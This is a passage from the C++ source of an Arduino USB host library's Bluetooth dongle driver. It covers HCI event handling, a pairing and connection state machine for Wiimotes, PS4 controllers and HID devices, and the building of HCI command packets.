        D_PrintHex<uint8_t > (ep_ptr->bmAttributes, 0x80);
        Notify(PSTR("\r\nMaxPktSize:\t"), 0x80);
        D_PrintHex<uint16_t > (ep_ptr->wMaxPacketSize, 0x80);
        Notify(PSTR("\r\nPoll Intrv:\t"), 0x80);
        D_PrintHex<uint8_t > (ep_ptr->bInterval, 0x80);
#endif
}

/* Performs a cleanup after failed Init() attempt */
uint8_t BTD::Release() {
        Initialize(); // Set all variables, endpoint structs etc. to default values
        pUsb->GetAddressPool().FreeAddress(bAddress);
        return 0;
}

uint8_t BTD::Poll() {
        if(!bPollEnable)
                return 0;
        if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { // Don't poll if shorter than polling interval
                qNextPollTime = (uint32_t)millis() + pollInterval; // Set new poll time
                HCI_event_task(); // Poll the HCI event pipe
                HCI_task(); // HCI state machine
                ACL_event_task(); // Poll the ACL input pipe too
        }
        return 0;
}

void BTD::disconnect() {
        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)
                if(btService[i])
                        btService[i]->disconnect();
};

void BTD::HCI_event_task() {
        uint16_t length = BULK_MAXPKTSIZE; // Request more than 16 bytes anyway, the inTransfer routine will take care of this
        uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_EVENT_PIPE ].epAddr, &length, hcibuf, pollInterval); // Input on endpoint 1

        if(!rcode || rcode == hrNAK) { // Check for errors
                switch(hcibuf[0]) { // Switch on event type
                        case EV_COMMAND_COMPLETE:
                                if(!hcibuf[5]) { // Check if command succeeded
                                        hci_set_flag(HCI_FLAG_CMD_COMPLETE); // Set command complete flag
                                        if((hcibuf[3] == 0x01) && (hcibuf[4] == 0x10)) { // Parameters from read local version information
                                                hci_version = hcibuf[6]; // Used to check if it supports 2.0+EDR - see http://www.bluetooth.org/Technical/AssignedNumbers/hci.htm
                                                hci_set_flag(HCI_FLAG_READ_VERSION);
                                        } else if((hcibuf[3] == 0x09) && (hcibuf[4] == 0x10)) { // Parameters from read local bluetooth address
                                                for(uint8_t i = 0; i < 6; i++)
                                                        my_bdaddr[i] = hcibuf[6 + i];
                                                hci_set_flag(HCI_FLAG_READ_BDADDR);
                                        }
                                }
                                break;

                        case EV_COMMAND_STATUS:
                                if(hcibuf[2]) { // Show status on serial if not OK
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nHCI Command Failed: "), 0x80);
                                        D_PrintHex<uint8_t > (hcibuf[2], 0x80);
#endif
                                }
                                break;

                        case EV_INQUIRY_COMPLETE:
                                if(inquiry_counter >= 5 && (pairWithWii || pairWithHIDDevice)) {
                                        inquiry_counter = 0;
#ifdef DEBUG_USB_HOST
                                        if(pairWithWii)
                                                Notify(PSTR("\r\nCouldn't find Wiimote"), 0x80);
                                        else
                                                Notify(PSTR("\r\nCouldn't find HID device"), 0x80);
#endif
                                        connectToWii = false;
                                        pairWithWii = false;
                                        connectToHIDDevice = false;
                                        pairWithHIDDevice = false;
                                        hci_state = HCI_SCANNING_STATE;
                                }
                                inquiry_counter++;
                                break;

                        case EV_INQUIRY_RESULT:
                                if(hcibuf[2]) { // Check that there is more than zero responses
#ifdef EXTRADEBUG
                                        Notify(PSTR("\r\nNumber of responses: "), 0x80);
                                        Notify(hcibuf[2], 0x80);
#endif
                                        for(uint8_t i = 0; i < hcibuf[2]; i++) {
                                                uint8_t offset = 8 * hcibuf[2] + 3 * i;

                                                for(uint8_t j = 0; j < 3; j++)
                                                        classOfDevice[j] = hcibuf[j + 4 + offset];

#ifdef EXTRADEBUG
                                                Notify(PSTR("\r\nClass of device: "), 0x80);
                                                D_PrintHex<uint8_t > (classOfDevice[2], 0x80);
                                                Notify(PSTR(" "), 0x80);
                                                D_PrintHex<uint8_t > (classOfDevice[1], 0x80);
                                                Notify(PSTR(" "), 0x80);
                                                D_PrintHex<uint8_t > (classOfDevice[0], 0x80);
#endif

                                                if(pairWithWii && classOfDevice[2] == 0x00 && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0x0C)) { // See http://wiibrew.org/wiki/Wiimote#SDP_information
                                                        checkRemoteName = true; // Check remote name to distinguish between the different controllers

                                                        for(uint8_t j = 0; j < 6; j++)
                                                                disc_bdaddr[j] = hcibuf[j + 3 + 6 * i];

                                                        hci_set_flag(HCI_FLAG_DEVICE_FOUND);
                                                        break;
                                                } else if(pairWithHIDDevice && (classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad - see: http://bluetooth-pentest.narod.ru/software/bluetooth_class_of_device-service_generator.html
#ifdef DEBUG_USB_HOST
                                                        if(classOfDevice[0] & 0x80)
                                                                Notify(PSTR("\r\nMouse found"), 0x80);
                                                        if(classOfDevice[0] & 0x40)
                                                                Notify(PSTR("\r\nKeyboard found"), 0x80);
                                                        if(classOfDevice[0] & 0x08)
                                                                Notify(PSTR("\r\nGamepad found"), 0x80);
#endif

                                                        for(uint8_t j = 0; j < 6; j++)
                                                                disc_bdaddr[j] = hcibuf[j + 3 + 6 * i];

                                                        hci_set_flag(HCI_FLAG_DEVICE_FOUND);
                                                        break;
                                                }
                                        }
                                }
                                break;

                        case EV_CONNECT_COMPLETE:
                                hci_set_flag(HCI_FLAG_CONNECT_EVENT);
                                if(!hcibuf[2]) { // Check if connected OK
#ifdef EXTRADEBUG
                                        Notify(PSTR("\r\nConnection established"), 0x80);
#endif
                                        hci_handle = hcibuf[3] | ((hcibuf[4] & 0x0F) << 8); // Store the handle for the ACL connection
                                        hci_set_flag(HCI_FLAG_CONNECT_COMPLETE); // Set connection complete flag
                                } else {
                                        hci_state = HCI_CHECK_DEVICE_SERVICE;
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nConnection Failed: "), 0x80);
                                        D_PrintHex<uint8_t > (hcibuf[2], 0x80);
#endif
                                }
                                break;

                        case EV_DISCONNECT_COMPLETE:
                                if(!hcibuf[2]) { // Check if disconnected OK
                                        hci_set_flag(HCI_FLAG_DISCONNECT_COMPLETE); // Set disconnect command complete flag
                                        hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE); // Clear connection complete flag
                                }
                                break;

                        case EV_REMOTE_NAME_COMPLETE:
                                if(!hcibuf[2]) { // Check if reading is OK
                                        for(uint8_t i = 0; i < min(sizeof (remote_name), sizeof (hcibuf) - 9); i++) {
                                                remote_name[i] = hcibuf[9 + i];
                                                if(remote_name[i] == '\0') // End of string
                                                        break;
                                        }
                                        // TODO: Altid sæt '\0' i remote name!
                                        hci_set_flag(HCI_FLAG_REMOTE_NAME_COMPLETE);
                                }
                                break;

                        case EV_INCOMING_CONNECT:
                                for(uint8_t i = 0; i < 6; i++)
                                        disc_bdaddr[i] = hcibuf[i + 2];

                                for(uint8_t i = 0; i < 3; i++)
                                        classOfDevice[i] = hcibuf[i + 8];

                                if((classOfDevice[1] & 0x05) && (classOfDevice[0] & 0xC8)) { // Check if it is a mouse, keyboard or a gamepad
#ifdef DEBUG_USB_HOST
                                        if(classOfDevice[0] & 0x80)
                                                Notify(PSTR("\r\nMouse is connecting"), 0x80);
                                        if(classOfDevice[0] & 0x40)
                                                Notify(PSTR("\r\nKeyboard is connecting"), 0x80);
                                        if(classOfDevice[0] & 0x08)
                                                Notify(PSTR("\r\nGamepad is connecting"), 0x80);
#endif
                                        incomingHIDDevice = true;
                                }

#ifdef EXTRADEBUG
                                Notify(PSTR("\r\nClass of device: "), 0x80);
                                D_PrintHex<uint8_t > (classOfDevice[2], 0x80);
                                Notify(PSTR(" "), 0x80);
                                D_PrintHex<uint8_t > (classOfDevice[1], 0x80);
                                Notify(PSTR(" "), 0x80);
                                D_PrintHex<uint8_t > (classOfDevice[0], 0x80);
#endif
                                hci_set_flag(HCI_FLAG_INCOMING_REQUEST);
                                break;

                        case EV_PIN_CODE_REQUEST:
                                if(pairWithWii) {
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nPairing with Wiimote"), 0x80);
#endif
                                        hci_pin_code_request_reply();
                                } else if(btdPin != NULL) {
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nBluetooth pin is set too: "), 0x80);
                                        NotifyStr(btdPin, 0x80);
#endif
                                        hci_pin_code_request_reply();
                                } else {
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nNo pin was set"), 0x80);
#endif
                                        hci_pin_code_negative_request_reply();
                                }
                                break;

                        case EV_LINK_KEY_REQUEST:
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nReceived Key Request"), 0x80);
#endif
                                hci_link_key_request_negative_reply();
                                break;

                        case EV_AUTHENTICATION_COMPLETE:
                                if(!hcibuf[2]) { // Check if pairing was successful
                                        if(pairWithWii && !connectToWii) {
#ifdef DEBUG_USB_HOST
                                                Notify(PSTR("\r\nPairing successful with Wiimote"), 0x80);
#endif
                                                connectToWii = true; // Used to indicate to the Wii service, that it should connect to this device
                                        } else if(pairWithHIDDevice && !connectToHIDDevice) {
#ifdef DEBUG_USB_HOST
                                                Notify(PSTR("\r\nPairing successful with HID device"), 0x80);
#endif
                                                connectToHIDDevice = true; // Used to indicate to the BTHID service, that it should connect to this device
                                        }
                                } else {
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nPairing Failed: "), 0x80);
                                        D_PrintHex<uint8_t > (hcibuf[2], 0x80);
#endif
                                        hci_disconnect(hci_handle);
                                        hci_state = HCI_DISCONNECT_STATE;
                                }
                                break;
                                /* We will just ignore the following events */
                        case EV_NUM_COMPLETE_PKT:
                        case EV_ROLE_CHANGED:
                        case EV_PAGE_SCAN_REP_MODE:
                        case EV_LOOPBACK_COMMAND:
                        case EV_DATA_BUFFER_OVERFLOW:
                        case EV_CHANGE_CONNECTION_LINK:
                        case EV_MAX_SLOTS_CHANGE:
                        case EV_QOS_SETUP_COMPLETE:
                        case EV_LINK_KEY_NOTIFICATION:
                        case EV_ENCRYPTION_CHANGE:
                        case EV_READ_REMOTE_VERSION_INFORMATION_COMPLETE:
                                break;
#ifdef EXTRADEBUG
                        default:
                                if(hcibuf[0] != 0x00) {
                                        Notify(PSTR("\r\nUnmanaged HCI Event: "), 0x80);
                                        D_PrintHex<uint8_t > (hcibuf[0], 0x80);
                                }
                                break;
#endif
                } // Switch
        }
#ifdef EXTRADEBUG
        else {
                Notify(PSTR("\r\nHCI event error: "), 0x80);
                D_PrintHex<uint8_t > (rcode, 0x80);
        }
#endif
}

/* Poll Bluetooth and print result */
void BTD::HCI_task() {
        switch(hci_state) {
                case HCI_INIT_STATE:
                        hci_counter++;
                        if(hci_counter > hci_num_reset_loops) { // wait until we have looped x times to clear any old events
                                hci_reset();
                                hci_state = HCI_RESET_STATE;
                                hci_counter = 0;
                        }
                        break;

                case HCI_RESET_STATE:
                        hci_counter++;
                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
                                hci_counter = 0;
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nHCI Reset complete"), 0x80);
#endif
                                hci_state = HCI_CLASS_STATE;
                                hci_write_class_of_device();
                        } else if(hci_counter > hci_num_reset_loops) {
                                hci_num_reset_loops *= 10;
                                if(hci_num_reset_loops > 2000)
                                        hci_num_reset_loops = 2000;
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nNo response to HCI Reset"), 0x80);
#endif
                                hci_state = HCI_INIT_STATE;
                                hci_counter = 0;
                        }
                        break;

                case HCI_CLASS_STATE:
                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nWrite class of device"), 0x80);
#endif
                                hci_state = HCI_BDADDR_STATE;
                                hci_read_bdaddr();
                        }
                        break;

                case HCI_BDADDR_STATE:
                        if(hci_check_flag(HCI_FLAG_READ_BDADDR)) {
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nLocal Bluetooth Address: "), 0x80);
                                for(int8_t i = 5; i > 0; i--) {
                                        D_PrintHex<uint8_t > (my_bdaddr[i], 0x80);
                                        Notify(PSTR(":"), 0x80);
                                }
                                D_PrintHex<uint8_t > (my_bdaddr[0], 0x80);
#endif
                                hci_read_local_version_information();
                                hci_state = HCI_LOCAL_VERSION_STATE;
                        }
                        break;

                case HCI_LOCAL_VERSION_STATE: // The local version is used by the PS3BT class
                        if(hci_check_flag(HCI_FLAG_READ_VERSION)) {
                                if(btdName != NULL) {
                                        hci_set_local_name(btdName);
                                        hci_state = HCI_SET_NAME_STATE;
                                } else
                                        hci_state = HCI_CHECK_DEVICE_SERVICE;
                        }
                        break;

                case HCI_SET_NAME_STATE:
                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nThe name is set to: "), 0x80);
                                NotifyStr(btdName, 0x80);
#endif
                                hci_state = HCI_CHECK_DEVICE_SERVICE;
                        }
                        break;

                case HCI_CHECK_DEVICE_SERVICE:
                        if(pairWithHIDDevice || pairWithWii) { // Check if it should try to connect to a Wiimote
#ifdef DEBUG_USB_HOST
                                if(pairWithWii)
                                        Notify(PSTR("\r\nStarting inquiry\r\nPress 1 & 2 on the Wiimote\r\nOr press the SYNC button if you are using a Wii U Pro Controller or a Wii Balance Board"), 0x80);
                                else
                                        Notify(PSTR("\r\nPlease enable discovery of your device"), 0x80);
#endif
                                hci_inquiry();
                                hci_state = HCI_INQUIRY_STATE;
                        } else
                                hci_state = HCI_SCANNING_STATE; // Don't try to connect to a Wiimote
                        break;

                case HCI_INQUIRY_STATE:
                        if(hci_check_flag(HCI_FLAG_DEVICE_FOUND)) {
                                hci_inquiry_cancel(); // Stop inquiry
#ifdef DEBUG_USB_HOST
                                if(pairWithWii)
                                        Notify(PSTR("\r\nWiimote found"), 0x80);
                                else
                                        Notify(PSTR("\r\nHID device found"), 0x80);

                                Notify(PSTR("\r\nNow just create the instance like so:"), 0x80);
                                if(pairWithWii)
                                        Notify(PSTR("\r\nWII Wii(&Btd);"), 0x80);
                                else
                                        Notify(PSTR("\r\nBTHID bthid(&Btd);"), 0x80);

                                Notify(PSTR("\r\nAnd then press any button on the "), 0x80);
                                if(pairWithWii)
                                        Notify(PSTR("Wiimote"), 0x80);
                                else
                                        Notify(PSTR("device"), 0x80);
#endif
                                if(checkRemoteName) {
                                        hci_remote_name(); // We need to know the name to distinguish between the Wiimote, the new Wiimote with Motion Plus inside, a Wii U Pro Controller and a Wii Balance Board
                                        hci_state = HCI_REMOTE_NAME_STATE;
                                } else
                                        hci_state = HCI_CONNECT_DEVICE_STATE;
                        }
                        break;

                case HCI_CONNECT_DEVICE_STATE:
                        if(hci_check_flag(HCI_FLAG_CMD_COMPLETE)) {
#ifdef DEBUG_USB_HOST
                                if(pairWithWii)
                                        Notify(PSTR("\r\nConnecting to Wiimote"), 0x80);
                                else
                                        Notify(PSTR("\r\nConnecting to HID device"), 0x80);
#endif
                                checkRemoteName = false;
                                hci_connect();
                                hci_state = HCI_CONNECTED_DEVICE_STATE;
                        }
                        break;

                case HCI_CONNECTED_DEVICE_STATE:
                        if(hci_check_flag(HCI_FLAG_CONNECT_EVENT)) {
                                if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) {
#ifdef DEBUG_USB_HOST
                                        if(pairWithWii)
                                                Notify(PSTR("\r\nConnected to Wiimote"), 0x80);
                                        else
                                                Notify(PSTR("\r\nConnected to HID device"), 0x80);
#endif
                                        hci_authentication_request(); // This will start the pairing with the Wiimote
                                        hci_state = HCI_SCANNING_STATE;
                                } else {
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nTrying to connect one more time..."), 0x80);
#endif
                                        hci_connect(); // Try to connect one more time
                                }
                        }
                        break;

                case HCI_SCANNING_STATE:
                        if(!connectToWii && !pairWithWii && !connectToHIDDevice && !pairWithHIDDevice) {
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nWait For Incoming Connection Request"), 0x80);
#endif
                                hci_write_scan_enable();
                                waitingForConnection = true;
                                hci_state = HCI_CONNECT_IN_STATE;
                        }
                        break;

                case HCI_CONNECT_IN_STATE:
                        if(hci_check_flag(HCI_FLAG_INCOMING_REQUEST)) {
                                waitingForConnection = false;
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nIncoming Connection Request"), 0x80);
#endif
                                hci_remote_name();
                                hci_state = HCI_REMOTE_NAME_STATE;
                        } else if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE))
                                hci_state = HCI_DISCONNECT_STATE;
                        break;

                case HCI_REMOTE_NAME_STATE:
                        if(hci_check_flag(HCI_FLAG_REMOTE_NAME_COMPLETE)) {
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nRemote Name: "), 0x80);
                                for(uint8_t i = 0; i < strlen(remote_name); i++)
                                        Notifyc(remote_name[i], 0x80);
#endif
                                if(strncmp((const char*)remote_name, "Nintendo", 8) == 0) {
                                        incomingWii = true;
                                        motionPlusInside = false;
                                        wiiUProController = false;
                                        pairWiiUsingSync = false;
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nWiimote is connecting"), 0x80);
#endif
                                        if(strncmp((const char*)remote_name, "Nintendo RVL-CNT-01-TR", 22) == 0) {
#ifdef DEBUG_USB_HOST
                                                Notify(PSTR(" with Motion Plus Inside"), 0x80);
#endif
                                                motionPlusInside = true;
                                        } else if(strncmp((const char*)remote_name, "Nintendo RVL-CNT-01-UC", 22) == 0) {
#ifdef DEBUG_USB_HOST
                                                Notify(PSTR(" - Wii U Pro Controller"), 0x80);
#endif
                                                wiiUProController = motionPlusInside = pairWiiUsingSync = true;
                                        } else if(strncmp((const char*)remote_name, "Nintendo RVL-WBC-01", 19) == 0) {
#ifdef DEBUG_USB_HOST
                                                Notify(PSTR(" - Wii Balance Board"), 0x80);
#endif
                                                pairWiiUsingSync = true;
                                        }
                                }
                                if(classOfDevice[2] == 0 && classOfDevice[1] == 0x25 && classOfDevice[0] == 0x08 && strncmp((const char*)remote_name, "Wireless Controller", 19) == 0) {
#ifdef DEBUG_USB_HOST
                                        Notify(PSTR("\r\nPS4 controller is connecting"), 0x80);
#endif
                                        incomingPS4 = true;
                                }
                                if(pairWithWii && checkRemoteName)
                                        hci_state = HCI_CONNECT_DEVICE_STATE;
                                else {
                                        hci_accept_connection();
                                        hci_state = HCI_CONNECTED_STATE;
                                }
                        }
                        break;

                case HCI_CONNECTED_STATE:
                        if(hci_check_flag(HCI_FLAG_CONNECT_COMPLETE)) {
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nConnected to Device: "), 0x80);
                                for(int8_t i = 5; i > 0; i--) {
                                        D_PrintHex<uint8_t > (disc_bdaddr[i], 0x80);
                                        Notify(PSTR(":"), 0x80);
                                }
                                D_PrintHex<uint8_t > (disc_bdaddr[0], 0x80);
#endif
                                if(incomingPS4)
                                        connectToHIDDevice = true; // We should always connect to the PS4 controller

                                // Clear these flags for a new connection
                                l2capConnectionClaimed = false;
                                sdpConnectionClaimed = false;
                                rfcommConnectionClaimed = false;

                                hci_event_flag = 0;
                                hci_state = HCI_DONE_STATE;
                        }
                        break;

                case HCI_DONE_STATE:
                        hci_counter++;
                        if(hci_counter > 1000) { // Wait until we have looped 1000 times to make sure that the L2CAP connection has been started
                                hci_counter = 0;
                                hci_state = HCI_SCANNING_STATE;
                        }
                        break;

                case HCI_DISCONNECT_STATE:
                        if(hci_check_flag(HCI_FLAG_DISCONNECT_COMPLETE)) {
#ifdef DEBUG_USB_HOST
                                Notify(PSTR("\r\nHCI Disconnected from Device"), 0x80);
#endif
                                hci_event_flag = 0; // Clear all flags

                                // Reset all buffers
                                memset(hcibuf, 0, BULK_MAXPKTSIZE);
                                memset(l2capinbuf, 0, BULK_MAXPKTSIZE);

                                connectToWii = incomingWii = pairWithWii = false;
                                connectToHIDDevice = incomingHIDDevice = pairWithHIDDevice = checkRemoteName = false;
                                incomingPS4 = false;

                                hci_state = HCI_SCANNING_STATE;
                        }
                        break;
                default:
                        break;
        }
}

void BTD::ACL_event_task() {
        uint16_t length = BULK_MAXPKTSIZE;
        uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ BTD_DATAIN_PIPE ].epAddr, &length, l2capinbuf, pollInterval); // Input on endpoint 2

        if(!rcode) { // Check for errors
                if(length > 0) { // Check if any data was read
                        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++) {
                                if(btService[i])
                                        btService[i]->ACLData(l2capinbuf);
                        }
                }
        }
#ifdef EXTRADEBUG
        else if(rcode != hrNAK) {
                Notify(PSTR("\r\nACL data in error: "), 0x80);
                D_PrintHex<uint8_t > (rcode, 0x80);
        }
#endif
        for(uint8_t i = 0; i < BTD_NUM_SERVICES; i++)
                if(btService[i])
                        btService[i]->Run();
}

/************************************************************/
/*                    HCI Commands                        */

/************************************************************/
void BTD::HCI_Command(uint8_t* data, uint16_t nbytes) {
        hci_clear_flag(HCI_FLAG_CMD_COMPLETE);
        pUsb->ctrlReq(bAddress, epInfo[ BTD_CONTROL_PIPE ].epAddr, bmREQ_HCI_OUT, 0x00, 0x00, 0x00, 0x00, nbytes, nbytes, data, NULL);
}

void BTD::hci_reset() {
        hci_event_flag = 0; // Clear all the flags
        hcibuf[0] = 0x03; // HCI OCF = 3
        hcibuf[1] = 0x03 << 2; // HCI OGF = 3
        hcibuf[2] = 0x00;

        HCI_Command(hcibuf, 3);
}

void BTD::hci_write_scan_enable() {
        hci_clear_flag(HCI_FLAG_INCOMING_REQUEST);
        hcibuf[0] = 0x1A; // HCI OCF = 1A
        hcibuf[1] = 0x03 << 2; // HCI OGF = 3
        hcibuf[2] = 0x01; // parameter length = 1
        if(btdName != NULL)
                hcibuf[3] = 0x03; // Inquiry Scan enabled. Page Scan enabled.
        else
                hcibuf[3] = 0x02; // Inquiry Scan disabled. Page Scan enabled.

        HCI_Command(hcibuf, 4);
}

void BTD::hci_write_scan_disable() {
        hcibuf[0] = 0x1A; // HCI OCF = 1A
        hcibuf[1] = 0x03 << 2; // HCI OGF = 3
        hcibuf[2] = 0x01; // parameter length = 1
        hcibuf[3] = 0x00; // Inquiry Scan disabled. Page Scan disabled.

        HCI_Command(hcibuf, 4);
}

void BTD::hci_read_bdaddr() {
        hci_clear_flag(HCI_FLAG_READ_BDADDR);
        hcibuf[0] = 0x09; // HCI OCF = 9
        hcibuf[1] = 0x04 << 2; // HCI OGF = 4
        hcibuf[2] = 0x00;

        HCI_Command(hcibuf, 3);
}

void BTD::hci_read_local_version_information() {
        hci_clear_flag(HCI_FLAG_READ_VERSION);
        hcibuf[0] = 0x01; // HCI OCF = 1
        hcibuf[1] = 0x04 << 2; // HCI OGF = 4
        hcibuf[2] = 0x00;

        HCI_Command(hcibuf, 3);
}

void BTD::hci_accept_connection() {
        hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE);
        hcibuf[0] = 0x09; // HCI OCF = 9
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x07; // parameter length 7
        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
        hcibuf[4] = disc_bdaddr[1];
        hcibuf[5] = disc_bdaddr[2];
        hcibuf[6] = disc_bdaddr[3];
        hcibuf[7] = disc_bdaddr[4];
        hcibuf[8] = disc_bdaddr[5];
        hcibuf[9] = 0x00; // Switch role to master

        HCI_Command(hcibuf, 10);
}

void BTD::hci_remote_name() {
        hci_clear_flag(HCI_FLAG_REMOTE_NAME_COMPLETE);
        hcibuf[0] = 0x19; // HCI OCF = 19
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x0A; // parameter length = 10
        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
        hcibuf[4] = disc_bdaddr[1];
        hcibuf[5] = disc_bdaddr[2];
        hcibuf[6] = disc_bdaddr[3];
        hcibuf[7] = disc_bdaddr[4];
        hcibuf[8] = disc_bdaddr[5];
        hcibuf[9] = 0x01; // Page Scan Repetition Mode
        hcibuf[10] = 0x00; // Reserved
        hcibuf[11] = 0x00; // Clock offset - low byte
        hcibuf[12] = 0x00; // Clock offset - high byte

        HCI_Command(hcibuf, 13);
}

void BTD::hci_set_local_name(const char* name) {
        hcibuf[0] = 0x13; // HCI OCF = 13
        hcibuf[1] = 0x03 << 2; // HCI OGF = 3
        hcibuf[2] = strlen(name) + 1; // parameter length = the length of the string + end byte
        uint8_t i;
        for(i = 0; i < strlen(name); i++)
                hcibuf[i + 3] = name[i];
        hcibuf[i + 3] = 0x00; // End of string

        HCI_Command(hcibuf, 4 + strlen(name));
}

void BTD::hci_inquiry() {
        hci_clear_flag(HCI_FLAG_DEVICE_FOUND);
        hcibuf[0] = 0x01;
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x05; // Parameter Total Length = 5
        hcibuf[3] = 0x33; // LAP: Genera/Unlimited Inquiry Access Code (GIAC = 0x9E8B33) - see https://www.bluetooth.org/Technical/AssignedNumbers/baseband.htm
        hcibuf[4] = 0x8B;
        hcibuf[5] = 0x9E;
        hcibuf[6] = 0x30; // Inquiry time = 61.44 sec (maximum)
        hcibuf[7] = 0x0A; // 10 number of responses

        HCI_Command(hcibuf, 8);
}

void BTD::hci_inquiry_cancel() {
        hcibuf[0] = 0x02;
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x00; // Parameter Total Length = 0

        HCI_Command(hcibuf, 3);
}

void BTD::hci_connect() {
        hci_connect(disc_bdaddr); // Use last discovered device
}

void BTD::hci_connect(uint8_t *bdaddr) {
        hci_clear_flag(HCI_FLAG_CONNECT_COMPLETE | HCI_FLAG_CONNECT_EVENT);
        hcibuf[0] = 0x05;
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x0D; // parameter Total Length = 13
        hcibuf[3] = bdaddr[0]; // 6 octet bdaddr (LSB)
        hcibuf[4] = bdaddr[1];
        hcibuf[5] = bdaddr[2];
        hcibuf[6] = bdaddr[3];
        hcibuf[7] = bdaddr[4];
        hcibuf[8] = bdaddr[5];
        hcibuf[9] = 0x18; // DM1 or DH1 may be used
        hcibuf[10] = 0xCC; // DM3, DH3, DM5, DH5 may be used
        hcibuf[11] = 0x01; // Page repetition mode R1
        hcibuf[12] = 0x00; // Reserved
        hcibuf[13] = 0x00; // Clock offset
        hcibuf[14] = 0x00; // Invalid clock offset
        hcibuf[15] = 0x00; // Do not allow role switch

        HCI_Command(hcibuf, 16);
}

void BTD::hci_pin_code_request_reply() {
        hcibuf[0] = 0x0D; // HCI OCF = 0D
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x17; // parameter length 23
        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
        hcibuf[4] = disc_bdaddr[1];
        hcibuf[5] = disc_bdaddr[2];
        hcibuf[6] = disc_bdaddr[3];
        hcibuf[7] = disc_bdaddr[4];
        hcibuf[8] = disc_bdaddr[5];
        if(pairWithWii) {
                hcibuf[9] = 6; // Pin length is the length of the Bluetooth address
                if(pairWiiUsingSync) {
#ifdef DEBUG_USB_HOST
                        Notify(PSTR("\r\nPairing with Wii controller via SYNC"), 0x80);
#endif
                        for(uint8_t i = 0; i < 6; i++)
                                hcibuf[10 + i] = my_bdaddr[i]; // The pin is the Bluetooth dongles Bluetooth address backwards
                } else {
                        for(uint8_t i = 0; i < 6; i++)
                                hcibuf[10 + i] = disc_bdaddr[i]; // The pin is the Wiimote's Bluetooth address backwards
                }
                for(uint8_t i = 16; i < 26; i++)
                        hcibuf[i] = 0x00; // The rest should be 0
        } else {
                hcibuf[9] = strlen(btdPin); // Length of pin
                uint8_t i;
                for(i = 0; i < strlen(btdPin); i++) // The maximum size of the pin is 16
                        hcibuf[i + 10] = btdPin[i];
                for(; i < 16; i++)
                        hcibuf[i + 10] = 0x00; // The rest should be 0
        }

        HCI_Command(hcibuf, 26);
}

void BTD::hci_pin_code_negative_request_reply() {
        hcibuf[0] = 0x0E; // HCI OCF = 0E
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x06; // parameter length 6
        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
        hcibuf[4] = disc_bdaddr[1];
        hcibuf[5] = disc_bdaddr[2];
        hcibuf[6] = disc_bdaddr[3];
        hcibuf[7] = disc_bdaddr[4];
        hcibuf[8] = disc_bdaddr[5];

        HCI_Command(hcibuf, 9);
}

void BTD::hci_link_key_request_negative_reply() {
        hcibuf[0] = 0x0C; // HCI OCF = 0C
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x06; // parameter length 6
        hcibuf[3] = disc_bdaddr[0]; // 6 octet bdaddr
        hcibuf[4] = disc_bdaddr[1];
        hcibuf[5] = disc_bdaddr[2];
        hcibuf[6] = disc_bdaddr[3];
        hcibuf[7] = disc_bdaddr[4];
        hcibuf[8] = disc_bdaddr[5];

        HCI_Command(hcibuf, 9);
}

void BTD::hci_authentication_request() {
        hcibuf[0] = 0x11; // HCI OCF = 11
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x02; // parameter length = 2
        hcibuf[3] = (uint8_t)(hci_handle & 0xFF); //connection handle - low byte
        hcibuf[4] = (uint8_t)((hci_handle >> 8) & 0x0F); //connection handle - high byte

        HCI_Command(hcibuf, 5);
}

void BTD::hci_disconnect(uint16_t handle) { // This is called by the different services
        hci_clear_flag(HCI_FLAG_DISCONNECT_COMPLETE);
        hcibuf[0] = 0x06; // HCI OCF = 6
        hcibuf[1] = 0x01 << 2; // HCI OGF = 1
        hcibuf[2] = 0x03; // parameter length = 3
        hcibuf[3] = (uint8_t)(handle & 0xFF); //connection handle - low byte
